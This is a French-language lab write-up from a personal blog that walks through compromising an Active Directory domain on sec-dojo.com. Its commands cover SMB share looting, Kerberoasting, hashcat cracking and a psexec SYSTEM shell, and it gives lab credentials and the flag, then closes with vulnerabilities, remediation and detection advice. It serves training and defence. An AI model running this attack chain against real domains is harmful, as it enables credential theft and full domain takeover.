Mohammed Berrahal

Bienvenu sur ma personnel page.

Lab Ease : Kerberoasting, Domain Admin

Plateforme : sec-dojo.com Thématique : Active Directory / Kerberoasting Résultat : ✅ accès SYSTEM sur le Domain Controller, flag récupéré

1. Informations générales

Élément Valeur
Lab Ease — sec-dojo.com
Domaine lab.abcit.local
DC / Hostname HOLLOW — 176.16.144.130
OS cible Windows Server 2016 (Build 14393)
Compte initial LAB\student / hsxGs_72$
Objectif Obtenir un accès Domain Admin
Flag flag_9e24dcaf_5f17_485f_80b7_2296e64d4bc6

2. Étapes d’attaque et commandes

Étape 1 — Reconnaissance réseau

Identifier son propre sous-réseau et l’IP du Domain Controller.

# Identifier son propre subnet
ip addr show
ip route

# Scanner le réseau pour trouver le DC (ports Kerberos/LDAP/SMB)
nmap -p 88,389,445 --open --min-rate 2000 -Pn 176.16.0.0/16

Résultat : DC trouvé à 176.16.144.130 (ports 88, 389, 445 ouverts).

Étape 2 — Identification du domaine (SMB)

# Obtenir le nom du domaine et du DC
netexec smb 176.16.144.130

Résultat : domaine lab.abcit.local, machine HOLLOW, Windows Server 2016.

Étape 3 — Énumération SMB (information leakage)

# Vérifier les credentials et lister les partages
netexec smb 176.16.144.130 -u student -p 'hsxGs_72$' -d lab.abcit.local --shares

# Connexion au partage ADMIN_TOOLS (accessible en READ/WRITE)
smbclient //176.16.144.130/ADMIN_TOOLS -U 'lab.abcit.local\student%hsxGs_72$'

# Télécharger les fichiers sensibles
smbclient //176.16.144.130/ADMIN_TOOLS -U 'lab.abcit.local\student%hsxGs_72$' -c 'get todo.txt; get web.config'

Résultat : todo.txt révèle l’existence de admin-tools.lab.abcit.local. web.config confirme un serveur IIS.

💡 Point clé : un partage SMB mal restreint, accessible en lecture/écriture à un utilisateur non-privilégié, suffit à fuiter des informations d’infrastructure sensibles.

Étape 4 — Kerberoasting

# Récupérer les hashes TGS des comptes avec SPN
impacket-GetUserSPNs lab.abcit.local/student:'hsxGs_72$' -dc-ip 176.16.144.130 -request

Résultat : hash TGS du compte svc_mssql récupéré — membre de Domain Admins.

Étape 5 — Crack du hash (Hashcat)

# Sauvegarder le hash
echo '$krb5tgs$23$*svc_mssql$...' > hash.txt

# Cracker avec rockyou.txt (mode 13100 = Kerberos TGS)
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Résultat : mot de passe cracké en moins d’une seconde → svc_mssql : winston.

Étape 6 — Accès Domain Admin (psexec)

# Obtenir un shell SYSTEM sur le DC
impacket-psexec lab.abcit.local/svc_mssql:winston@176.16.144.130

# Récupérer le flag
type C:\Users\Administrator\Desktop\proof.txt

Résultat : shell SYSTEM obtenu sur HOLLOW.

flag_9e24dcaf_5f17_485f_80b7_2296e64d4bc6

3. Vulnérabilités identifiées

# Vulnérabilité Sévérité Impact
1 Partage SMB ADMIN_TOOLS accessible en READ/WRITE aux utilisateurs non-privilégiés 🟠 Haute Fuite d’informations sensibles
2 Compte de service svc_mssql membre de Domain Admins 🔴 Critique Élévation de privilèges directe
3 Mot de passe faible sur compte de service (winston) 🔴 Critique Compromission totale du domaine
4 Kerberoasting possible sur compte privilégié avec SPN 🔴 Critique Récupération du hash offline

4. Recommandations

Partage ADMIN_TOOLS

  • Restreindre les permissions aux seuls administrateurs.
  • Auditer régulièrement les ACL des partages SMB.

Comptes de service

  • Ne jamais ajouter un compte de service dans Domain Admins.
  • Appliquer le principe du moindre privilège.
  • Utiliser des Managed Service Accounts (gMSA) pour éviter le Kerberoasting.

Mots de passe

  • Utiliser des mots de passe longs et aléatoires (25+ caractères) pour les comptes de service.
  • Activer une politique de complexité stricte dans la GPO.

Surveillance (SOC)

  • Monitorer l’Event ID 4769 (requêtes TGS anormales).
  • Alerter sur les connexions psexec / SMB depuis des machines non-autorisées.

5. Conclusion

Le domaine lab.abcit.local a été compromis intégralement en moins d’une heure grâce à une chaîne de vulnérabilités : fuite d’informations via un partage SMB mal configuré, Kerberoasting sur un compte de service privilégié, et un mot de passe faible facilement crackable. L’accès SYSTEM sur le Domain Controller a été obtenu via psexec.

Flag final :

flag_9e24dcaf_5f17_485f_80b7_2296e64d4bc6

Références

  • Kerberoasting — technique MITRE ATT&CK T1558.003
  • Outils utilisés : netexec, smbclient, impacket-GetUserSPNs, hashcat, impacket-psexec

You May Also Enjoy